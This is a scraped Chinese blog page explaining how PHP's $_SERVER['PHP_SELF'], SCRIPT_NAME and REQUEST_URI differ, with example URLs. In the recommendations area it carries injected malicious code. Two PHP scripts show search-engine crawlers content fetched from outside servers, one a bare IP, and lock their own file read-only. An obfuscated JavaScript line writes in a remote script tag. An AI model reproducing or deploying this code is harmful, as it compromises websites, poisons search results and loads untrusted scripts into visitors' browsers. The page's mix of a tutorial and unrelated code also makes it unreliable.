PHP $_SERVER[PHP_SELF],[SCRIPT_NAME], ['REQUEST_URI']

$_SERVER[PHP_SELF], $_SERVER[SCRIPT_NAME], $_SERVER['REQUEST_URI'] 在用法上是非常相似的,他们返回的都是与当前正在使用的页面地址有关的信息,这里列出一些相关的例子,帮助确定哪些是在你的脚本最适合的。 



$_SERVER[’PHP_SELF’]http://www.fenge8.cn/example/ — – — /example/index.php 
http://www.fenge8.cn/example/index.php — – — /example/index.php 
http://www.fenge8.cn/example/index.php?a=test — – — /example/index.php 
http://www.fenge8.cn/example/index.php/dir/test — – — /dir/test 
当我们使用$_SERVER['PHP_SELF']的时候,无论访问的URL地址是否有index.php,它都会自动的返回 index.php.但是如果在文件名后面再加斜线的话,就会把后面所有的内容都返回在$_SERVER['PHP_SELF']。 

$_SERVER['REQUEST_URI'] 

http://www.fenge8.cn/example/ — – — / 
http://www.fenge8.cn/example/index.php — – — /example/index.php 
http://www.fenge8.cn/example/index.php?a=test — – — /example/index.php?a=test 
http://www.fenge8.cn/example/index.php/dir/test — – — /example/index.php/dir/test 
$_SERVER['REQUEST_URI']返回的是我们在URL里写的精确的地址,如果URL只写到”/”,就返回 “/” 

$_SERVER['SCRIPT_NAME'] 

http://www.fenge8.cn/example/ — – — /example/index.php 
http://www.fenge8.cn/example/index.php — – — /example/index.php 
http://www.fenge8.cn/example/index.php — – — /example/index.php 
http://www.fenge8.cn/example/index.php/dir/test — – — /example/index.php 
在所有的返回中都是当前的文件名/example/index.php
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
06-12

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值